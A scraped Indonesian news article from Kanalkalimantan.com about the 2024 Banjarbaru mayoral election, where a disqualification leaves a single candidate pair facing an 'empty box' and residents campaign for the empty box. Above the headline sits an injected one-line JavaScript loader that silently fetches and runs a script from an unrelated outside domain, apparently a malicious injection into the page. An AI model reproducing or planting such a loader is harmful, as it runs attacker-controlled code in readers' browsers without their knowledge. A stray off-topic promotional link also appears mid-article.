(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Narasi Calon Tunggal KPU Banjarbaru vs Pro Demokrasi Coblos Kotak Kosong


KANALKALIMANTAN.COM, BANJARBARU  – Calon tunggal alias satu pasangan calon (Paslon) Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru dipastikan bakal melawan kotak kosong.

Setelah keluarkan surat keputusan pembatalan salah satu Paslon, KPU Banjarbaru belum miliki acuan resmi dari KPU RI.

Ketua KPU Banjarbaru Dahtiar mengatakan, masih terus koordinasi dan konsultasi dengan KPU RI didampingi oleh KPU Provinsi Kalsel. Penyesuaian salah satunya berupa pengadaan logistik surat suara dan narasi kotak kosong pasca keluar Keputusan KPU Kota Banjarbaru Nomor 124 Tahun 2024 tentang pembatalan Aditya Mufti Ariffin dan Said Abdullah sebagai paslon Wali Kota dan Wakil Wali Kota Banjarbaru tahun 2024.

“Kita sudah melakukan koordinasi dan konsultasi dengan KPU RI didampingi KPU Provinsi Kalsel. Kami melakukan penyesuaian terhadap beberapa hal pasca pembatalan satu paslon di Kota Banjabaru,” ujar Ketua KPU Banjarbaru Dahtiar, Minggu (17/11/2024).

Baca juga: Spanduk Seruan Coblos Kotak Kosong di Banjarbaru, LPRI : Ini Bentuk Demokrasi


Terkait dengan seruan coblos kotak kosong, kata dia, telah disampaikan secara verbal kepada jajaran KPU RI. Hasil yang didapat kata Dahtiar, pihaknya sebagai penyelenggara sepakat untuk memunculkan narasi satu pasangan calon bukan kotak kosong.

“Yang kita dapatkan secara verbal tentu saja ada beberapa hal yang harus kita lakukan penyesuaian. Tapi karena secara prinsip sudah dibatalkan satu pasangan calon, maka di Kota Banjarbaru hanya ada satu paslon (Calon tunggal, red) , itu narasi untuk penyelenggara Pemilu,” jelas dia.

“Satu pasangan calon (Calon tunggal, red) untuk Pilwali di Kota Banjarbaru,” sambungnya.

Baca juga: Cabup Erlin Hardi Siap Penuhi Harapan Masyarakat Talekong Punei

Kemudian terkait tindak lanjut yang akan pihaknya  akan kembali dikordinasikan dengan stakeholder.

“Kita akan kordinasikan mulai dari Pemerintah Kota Banjarbaru, TNI hingga Polri untuk menyampaikan beberapa hal yang kami kira prinsip,” katanya.

Dahtiar menegaskan, terkait dengan hal-hal resmi lainnya, khususnya yang masih menjadi pertanyaan publik sampai hari ini masih menunggu surat resmi dari KPU RI.

Baca juga: Aku Suka RCTI: Temukan Berita Terhangat Hanya di Infotainment RCTI!

“Nanti satu dua hari kita tunggu lah surat resminya dari KPU RI, karena selain verbal kami juga ada menyampaikan secara tertulis dan nanti kita tunggu saja jawaban atau pun arahan dari KPU RI,” tuntas Dahtiar.

Seruan Coblos Kotak Kosong di Banjarbaru, LPRI : Ini Bentuk Demokrasi

Puluhan spanduk ‘kampanye’ seruan mencoblos kotak kosong pada Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru bertebaran di sejumlah sudut jalan di Kota Idaman.

Pemilik spanduk coblos kotak sorong mengatasnamakan  independen mengaku akan kembali menambah spanduk-spanduk itu untuk ditempel pada sejumlah titik.

“Sudah puluhan spanduk yang dipasang. Tidak menutup kemungkinan akan terus bertambah, dikarenakan ini spanduk hasil sumbangan dari masyarakat dan ini akan terus bertambah,” ujar warga Banjarbaru, salah satu relawan kotak kosong yang tak ingin namanya disebutkan.

Dirinya mengatakan aksi pasang spanduk coblos kotak kosong yang dilakukan bersama kawan-kawannya adalah murni dorongan dari masyarakat tidak ada sangkut pautnya dengan paslon yang didiskualifikasi.

“Murni ini adalah ide kami dari masyarakat, tidak ada hubungan dengan paslon, semua gagasan dari kami sebagai warga Banjarbaru. Adapun sumber dananya hasil sumbangan dari teman-teman juga,” jelasnya.

Saking antusiasnya masyarakat yang ingin ikut andil memasang, katanya juga membuat masyarakat ikut menyumbang spanduk coblos kotak kosong tersebut.

“Kami sebagai warga merasa demokrasi dihilangkan, akan terus mengkampanyekan coblos kotak kosong. Kami sebagai relawan sudah biasa dan ini tidak ada honornya memang bawaan hati, sementara ini yang kami alami hak demokrasi warga seakan hilang,” pungkasnya.

Mencermati spanduk coblos kotak kosong lawan calon tunggal itu, Ketua DPC Lembaga Pengawasan Reformasi Indonesia (LPRI) Kota Banjarbaru, Edy Saifuddin mengatakan bahwa seruan mencoblos kotak kosong melalui spanduk-spanduk ini merupakan bentuk demokrasi warga Kota Banjarbaru.

“Ini merupakan bentuk demokrasi warga Kota Banjarbaru, sudah dewasa dan bijak,” ujar Ketua DPC LPRI Kota Banjarbaru, Edy Saifuddin kepada Kanalkalimantan.com, Jumat (15/11/2024).

“Dimana beberapa waktu lalu pasca dibatalkannya pencalonan paslon nomor urut 2 Aditya-Said Abdullah langsung terjadi gejolak protes warga, dan hampir saja menjadi unjuk rasa besar-besaran yang bisa membuat suasana Kota Banjarbaru tidak aman dan tidak kondusif,” sambungnya.

Melihat gejolak protes masyarakat ini, kata dia, untungnya pihak-pihak aparat keamanan bahu membahu bekerjasama para tokoh masyarakat serta aktivis bisa meredam warga dengan memberikan arahan arahan yang bisa membuat emosi masyarakat menurun.

Sementara itu, Ketua DPD LPRI Kalsel Syarifah Hayana, sejak awal telah menginstruksikan dirinya untuk dapat memantau, bahkan menyiapkan saksi-saksi independen di dalam proses Pilwali Banjarbaru

“Sudah beberapa kali dihubungi para relawan kotak kosong Banjarbaru untuk bekerjasama mengamankan suara pemilih kotak kosong. Dan sudah pasti kami akan siap membantu. Saksi saksi kami dari LPRI akan mencatat sesuai hasil di TPS-TPS yang Insya Allah tidak akan bertambah atau berkurang satu suara pun,” jelas dia.

Dirinya berharap Pilkada di Kota Banjarbaru bisa berjalan aman dan damai, serta yang paling utama sekali adalah bisa menciptakan Pilkada bersih tanpa ada politik uang.

Terakhir pihaknya turut menghimbau penyelenggara dan pengawas pemilu, seperti halnya KPU Kota Banjarbaru dan Bawaslu Banjarbaru agar bekerja profesional sesuai tupoksi mereka, agar tidak ada lagi gejolak masyarakat Banjarbaru yang terjadi.

“Apabila mereka lalai dalam melaksanakan tugas dan melanggar sumpah mereka sendiri sebagai penyelenggara dan pengawas pemilu, hingga membuat masyarakat kembali bergejolak, maka kami dari LPRI akan menjadi garda terdepan untuk mengadakan aksi turun ke jalan bersama para relawan masyarakat,” tegas Edy menutup. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor : bie


Muhammad Andi

Recent Posts

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

2 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

3 jam ago

Akhir Masa Tugas, Pjs Wali Kota Nurliani Membuka Acara Kesehatan

KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More

6 jam ago

Kembali Tak Datang, KPK Sebut Peluang Jemput Paksa Paman Birin

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More

6 jam ago

Pemegang Kursi DPRD Banjarbaru Terima Bantuan Keuangan Parpol, Satu Suara Dihargai Rp14 Ribu

KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More

7 jam ago

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

18 jam ago

This website uses cookies.